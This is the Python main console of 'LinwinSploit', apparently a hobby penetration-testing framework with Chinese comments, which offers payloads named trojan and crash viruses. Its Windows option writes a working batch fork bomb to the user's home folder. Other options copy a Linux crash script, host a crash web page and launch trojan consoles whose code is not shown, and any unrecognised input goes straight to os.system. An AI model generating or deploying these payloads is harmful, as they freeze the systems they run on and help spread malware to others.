# LinwinSploit渗透测试软件
# 作者: 王相卿
# 版本: 2.0.1
# https://gitee.com/LinWin-Cloud/linwin-sploit/

import os
import WebControl
import ConfigConsole
import PyControlConsole
import Linux_amd64_trojanVirus

import sys
import webbrowser
import threading
import time


def get_file_content(path: str, exception: bool) -> str:
    # get_file_content() Function: get file content.
    # path: this value in to get the file path
    # exception: if can not find target file then exit.
    try:
        openfile = open(path)
        return openfile.read()
    except:
        print("CAN NOT FIND TARGET FILE: " + path)
        if exception:
            exit(1)
        else:
            return "CAN NOT FIND TARGET FILE: " + path

    finally:
        pass


def copy_file(source: str,target: str):
    o = open(source)
    r = o.read()

    with open(target,"w") as f:
        f.write(r)
    f.close()


# 获取当前运行路径
runPath = os.path.abspath(os.path.dirname(__file__))
# 获取版本号
version = get_file_content(runPath + "/../resource/version.txt", True).replace("\n", "")
# 显示的命令行提示符
commandLine = "LinwinSploit-" + version + " > "
# 获取软件路径
software = os.path.abspath(os.path.join(runPath,".."))
# 所有攻击载荷
payload: list[str] = [
    'linux/amd64/trojan_virus',
    'linux/amd64/crash_virus',
    'windows/cmd/crash_virus',
    'program/python/trojan_virus',
    'web/attack/crash_virus',
    'post/http/server',
    'plaform/exe/trojan_virus'
]

def run_command(command: str) -> bool:
    command = command.strip()
    try:
        #def a():
        if command == 'help':
            print(get_file_content(runPath + "/../resource/Help.txt", True))
            return True
        elif command == 'show payload':
            print(get_file_content(runPath + "/../resource/Payload.txt", True))
            return True

        elif command.startswith("use "):
            use_payload = command[4:len(command)]

            if use_payload == 'web/attack/crash_virus':
                print("[INFO] 启动Http服务在8989: http://localhost:8989/")
                os.system("cd "+runPath+"/../Module/web/attack/crash_virus/ && python3 -m http.server 8989")
            
            elif use_payload == 'linux/amd64/crash_virus':
                if os.name != 'posix':
                    print(" [ERROR] 该模块仅支持Linux系统")
                    return False
                print("文件生成在了:  "+os.environ['HOME']+"/LinuxCrashVirus.sh")
                copy_file(
                    runPath+"/../Module/linux/amd64/crash_virus/LinuxCrashVirus.sh",
                    os.environ['HOME']+"/LinuxCrashVirus.sh"
                )

            elif use_payload == 'program/python/trojan_virus':
                PyControlConsole.console(runPath)

            elif use_payload == 'linux/amd64/trojan_virus':
                Linux_amd64_trojanVirus.console(runPath)

            elif use_payload == 'windows/cmd/crash_virus':
                with open(os.environ['HOME']+"/window_cmd_crash_virus.bat","w") as f:
                    f.write("""
        :1
        start %0
        goto 1""")
                f.close()
                print(" [INFO] Virus file make in: "+os.environ['HOME']+"/window_cmd_crash_virus.bat")
            

            elif use_payload == 'post/http/server':
                try:
                    port: int = int(input("Start Http Server Port: ").strip())
                    if os.name   == 'posix':
                        os.system("python3 -m http.server "+str(port))
                    else:
                        os.system("python -m http.server "+str(port))
                except:
                    print("input error")

            else:
                print("CAN NOT FIND TARGET MODULE: "+use_payload)
            return True
        elif command == 'exit':
            exit()
        elif command == 'config':
            ConfigConsole.configConsole()
            return True
        elif command.startswith("search "):
            print("\n |-Search Payload-|")
            searchPayload = command[len("search "):]
            payload: list[str] = [
                'linux/amd64/trojan_virus',
                'linux/amd64/crash_virus',
                'windows/cmd/crash_virus',
                'program/python/trojan_virus',
                'web/attack/crash_virus',
                'post/http/server',
                'plaform/exe/trojan_virus'
            ]
            for i in payload:
                if str(i).find(searchPayload) != -1:
                    print(" [FIND] "+i)
                    continue

            print()
            return True

        elif command.startswith("info "):
            payload: str = command[5:len(command)]
            payload: str = payload.replace("/",".")
            print(get_file_content(runPath+"/../module_explain/"+payload+".md",False))
            return True

        else:
            os.system(command)
            return True
    except Exception as e:
        print("INPUT COMMAND ERROR: "+e.args[0])
        return False


def main():
    while True:
        command = input(commandLine)
        run_command(command)


if __name__ == '__main__':
    
    # 启动Logo画面
    print(get_file_content(runPath + "/../resource/Logo.txt", True))
    print("  [ 输入 'help' 获取帮助信息 ]")
    print("  [ 项目地址: https://gitee.com/LinWin-Cloud/linwin-sploit ]")
    print("  [ CopyRight By LinwinSoft ]")
    print("  [ 版本 : " + version + " ]")
    print()
    main()
